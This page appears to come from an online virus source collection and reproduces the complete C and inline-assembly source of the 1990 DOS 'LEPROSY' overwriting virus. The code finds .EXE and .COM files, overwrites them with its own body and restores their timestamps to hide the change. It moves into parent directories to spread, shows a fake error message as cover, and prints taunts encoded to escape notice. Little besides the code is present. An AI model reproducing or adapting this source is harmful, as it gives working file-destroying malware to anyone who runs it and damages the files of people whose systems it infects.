VIRUS CODE DATABASE :: leprosy.c -NO.9

Virus Source Code Database :: leprosy.c


/* This file is part of the source code to the LEPROSY Virus 1.00
Copy-ya-right (c) 1990 by PCM2. This program can cause destruction
of files; you're warned, the author assumes no responsibility
for damage this program causes, incidental or otherwise. This
program is not intended for general distribution -- irresponsible
users should not be allowed access to this program, or its
accompanying files. (Unlike people like us, of course...)
*/


#pragma inline

#define CRLF "\x17\x14" /* CR/LF combo encrypted. */
#define NO_MATCH 0x12 /* No match in wildcard search. */


/* The following strings are not garbled; they are all encrypted */
/* using the simple technique of adding the integer value 10 to */
/* each character. They are automatically decrypted by */
/* 'print_s()', the function which sends the strings to 'stdout' */
/* using DOS service 09H. All are terminated with a dollar-sign */
/* "$" as per DOS service specifications. */

char fake_msg[] = CRLF "Z|yq|kw*~yy*lsq*~y*ps~*sx*wowy|\x83.";
char *virus_msg[3] =
{
CRLF "\x13XOa]*PVK]R++**cy\x7f|*}\x83}~ow*rk}*loox*sxpom~on*\x81s~r*~ro.",
CRLF "\x13sxm\x7f|klvo*nomk\x83*yp*VOZ\\Y]c*;8::6*k*\x80s|\x7f}*sx\x80ox~on*l\x83.",
CRLF "\x13ZMW<*sx*T\x7fxo*yp*;CC:8**Qyyn*v\x7fmu+\x17\x14."
};



struct _dta /* Disk Transfer Area format for find. */
{
char findnext[21];
char attribute;
int timestamp;
int datestamp;
long filesize;
char filename[13];
} *dta = (struct _dta *) 0x80; /* Set it to default DTA. */


const char filler[] = "XX"; /* Pad file length to 666 bytes. */
const char *codestart = (char *) 0x100; /* Memory where virus code begins. */
const int virus_size = 666; /* The size in bytes of the virus code. */
const int infection_rate = 4; /* How many files to infect per run. */

char compare_buf[20]; /* Load program here to test infection. */
int handle; /* The current file handle being used. */
int datestamp, timestamp; /* Store original date and time here. */
char diseased_count = 0; /* How many infected files found so far. */
char success = 0; /* How many infected this run. */


/* The following are function prototypes, in keeping with ANSI */
/* Standard C, for the support functions of this program. */

int find_first( char *fn );
int find_healthy( void );
int find_next( void );
int healthy( void );
void infect( void );
void close_handle( void );
void open_handle( char *fn );
void print_s( char *s );
void restore_timestamp( void );



/*----------------------------------*/
/* M A I N P R O G R A M */
/*----------------------------------*/

int main( void ) {
int x = 0;
do {
if ( find_healthy() ) { /* Is there an un-infected file? */
infect(); /* Well, then infect it! */
x++; /* Add one to the counter. */
success++; /* Carve a notch in our belt. */
}
else { /* If there ain't a file here... */
_DX = (int) ".."; /* See if we can step back to */
_AH = 0x3b; /* the parent directory, and try */
asm int 21H; /* there. */
x++; /* Increment the counter anyway, to */
} /* avoid infinite loops. */
} while( x < infection_rate ); /* Do this until we've had enough. */
if ( success ) /* If we got something this time, */
print_s( fake_msg ); /* feed 'em the phony error line. */
else
if ( diseased_count > 6 ) /* If we found 6+ infected files */
for( x = 0; x < 3; x++ ) /* along the way, laugh!! */
print_s( virus_msg[x] );
else
print_s( fake_msg ); /* Otherwise, keep a low profile. */
return;
}


void infect( void ) {
_DX = (int) dta->filename; /* DX register points to filename. */
_CX = 0x00; /* No attribute flags are set. */
_AL = 0x01; /* Use Set Attribute sub-function. */
_AH = 0x43; /* Assure access to write file. */
asm int 21H; /* Call DOS interrupt. */
open_handle( dta->filename ); /* Re-open the healthy file. */
_BX = handle; /* BX register holds handle. */
_CX = virus_size; /* Number of bytes to write. */
_DX = (int) codestart; /* Write program code. */
_AH = 0x40; /* Set up and call DOS. */
asm int 21H;
restore_timestamp(); /* Keep original date & time. */
close_handle(); /* Close file. */
return;
}


int find_healthy( void ) {
if ( find_first("*.EXE") != NO_MATCH ) /* Find EXE? */
if ( healthy() ) /* If it's healthy, OK! */
return 1;
else
while ( find_next() != NO_MATCH ) /* Try a few more otherwise. */
if ( healthy() )
return 1; /* If you find one, great! */
if ( find_first("*.COM") != NO_MATCH ) /* Find COM? */
if ( healthy() ) /* If it's healthy, OK! */
return 1;
else
while ( find_next() != NO_MATCH ) /* Try a few more otherwise. */
if ( healthy() )
return 1; /* If you find one, great! */
return 0; /* Otherwise, say so. */
}



int healthy( void ) {
int i;
datestamp = dta->datestamp; /* Save time & date for later. */
timestamp = dta->timestamp;
open_handle( dta->filename ); /* Open last file located. */
_BX = handle; /* BX holds current file handle. */
_CX = 20; /* We only want a few bytes. */
_DX = (int) compare_buf; /* DX points to the scratch buffer. */
_AH = 0x3f; /* Read in file for comparison. */
asm int 21H;
restore_timestamp(); /* Keep original date & time. */
close_handle(); /* Close the file. */
for ( i = 0; i < 20; i++ ) /* Compare to virus code. */
if ( compare_buf[i] != *(codestart+i) )
return 1; /* If no match, return healthy. */
diseased_count++; /* Chalk up one more fucked file. */
return 0; /* Otherwise, return infected. */
}


void restore_timestamp( void ) {
_AL = 0x01; /* Keep original date & time. */
_BX = handle; /* Same file handle. */
_CX = timestamp; /* Get time & date from DTA. */
_DX = datestamp;
_AH = 0x57; /* Do DOS service. */
asm int 21H;
return;
}


void print_s( char *s ) {
char *p = s;
while ( *p ) { /* Subtract 10 from every character. */
*p -= 10;
p++;
}
_DX = (int) s; /* Set DX to point to adjusted string. */
_AH = 0x09; /* Set DOS function number. */
asm int 21H; /* Call DOS interrupt. */
return;
}


int find_first( char *fn ) {
_DX = (int) fn; /* Point DX to the file name. */
_CX = 0xff; /* Search for all attributes. */
_AH = 0x4e; /* 'Find first' DOS service. */
asm int 21H; /* Go, DOS, go. */
return _AX; /* Return possible error code. */
}


int find_next( void ) {
_AH = 0x4f; /* 'Find next' function. */
asm int 21H; /* Call DOS. */
return _AX; /* Return any error code. */
}


void open_handle( char *fn ) {
_DX = (int) fn; /* Point DX to the filename. */
_AL = 0x02; /* Always open for both read & write. */
_AH = 0x3d; /* "Open handle" service. */
asm int 21H; /* Call DOS. */
handle = _AX; /* Assume handle returned OK. */
return;
}


void close_handle( void ) {
_BX = handle; /* Load BX register w/current file handle. */
_AH = 0x3e; /* Set up and call DOS service. */
asm int 21H;
return;
}